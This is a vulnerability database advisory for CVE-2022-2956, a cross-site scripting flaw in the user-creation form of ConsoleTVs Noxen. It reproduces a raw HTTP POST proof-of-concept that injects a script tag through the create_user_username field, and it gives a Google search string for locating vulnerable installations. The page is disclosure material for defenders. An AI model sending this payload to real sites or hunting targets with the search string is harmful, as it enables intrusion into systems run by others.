VDB-207000 · CVE-2022-2956

CONSOLETVS NOXEN /NOXEN-MASTER/USERS.PHP CREATE_USER_USERNAME CROSS SITE SCRIPTING

CVSS Meta Temp Score ?	Current Exploit Price (≈) ?	CTI Interest Score ?
4.3	$0-$5k	0.00

A vulnerability classified as problematic has been found in ConsoleTVs Noxen (version unknown). Affected is an unknown part of the file */Noxen-master/users.php*. The manipulation of the argument `create_user_username` with the input value `"><script>alert(/xss/)</script>` leads to a cross site scripting vulnerability. CWE is classifying the issue as CWE-79. The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. This is going to have an impact on integrity.

The weakness was published 08/23/2022. The advisory is shared for download at github.com. This vulnerability is traded as CVE-2022-2956. Successful exploitation requires user interaction by the victim. Technical details and a public exploit are known. The MITRE ATT&CK project declares the attack technique as T1059.007.

It is declared as proof-of-concept. The exploit is shared for download at github.com. By approaching the search of inurl:Noxen-master/users.php it is possible to find vulnerable targets with Google Hacking. The code used by the exploit is:

```
POST /Noxen-master/users.php HTTP/1.1
Host: example.com
Content-Length: 213
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://114.132.70.98
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/103.0.5060.134 Safari/537.36 Edg/103.0.1264.71
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.9
Referer: http://114.132.70.98/Noxen-master/users.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: td_cookie=4107653369; PHPSESSID=dbs82c77msp8t6cjq2vlv4gia4
Connection: close

fakeusernameremembered=&create_user_username=%22%3E%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E&fakepasswordr
emembered=&create_user_password=123456&create_user_email=123%40qq.com&create_user_type=1&create_user=
```

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

Product

Vendor

- ConsoleTVs

Name

- Noxen

CPE 2.3

- 🔒

CPE 2.2

- 🔒

CVSSv3

VulDB Meta Base Score: 4.4
VulDB Meta Temp Score: 4.3

VulDB Base Score: 3.5
VulDB Temp Score: 3.2
VulDB Vector: 🔒
VulDB Reliability: 🔍

NVD Base Score: 6.1
NVD Vector: 🔒

CNA Base Score: 3.5
CNA Vector (VulDB): 🔒

CVSSv2

VulDB Base Score: 🔒
VulDB Temp Score: 🔒
VulDB Reliability: 🔍

Exploiting

Class: Cross site scripting
CWE: CWE-79 / CWE-74 / CWE-707
ATT&CK: T1059.007

Local: No
Remote: Yes

Availability: 🔒
Access: Public
Status: Proof-of-Concept
Download: 🔒
Google Hack: 🔒

EPSS Score: 🔒
EPSS Percentile: 🔒

Price Prediction: 🔍
Current Price Estimation: 🔒

Threat Intelligence

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasures

Recommended: no mitigation known
Status: 🔍

0-Day Time: 🔒

Timeline

08/23/2022		Advisory disclosed
08/23/2022	+0 days	CVE reserved
08/23/2022	+0 days	VulDB entry created
09/24/2022	+32 days	VulDB last update

Sources

Advisory: github.com
Status: Not defined

CVE: CVE-2022-2956 (🔒)
scip Labs: https://www.scip.ch/en/?labs.20161013

Entry

Created: 08/23/2022 10:39 AM
Updated: 09/24/2022 03:27 PM
Changes: 08/23/2022 10:39 AM (41), 08/23/2022 10:40 AM (1), 09/24/2022 03:22 PM (2), 09/24/2022 03:27 PM (21)
Complete: 🔍
Submitter: s7eyd7

Discussion

No comments yet. Languages: en.

Please log in to comment.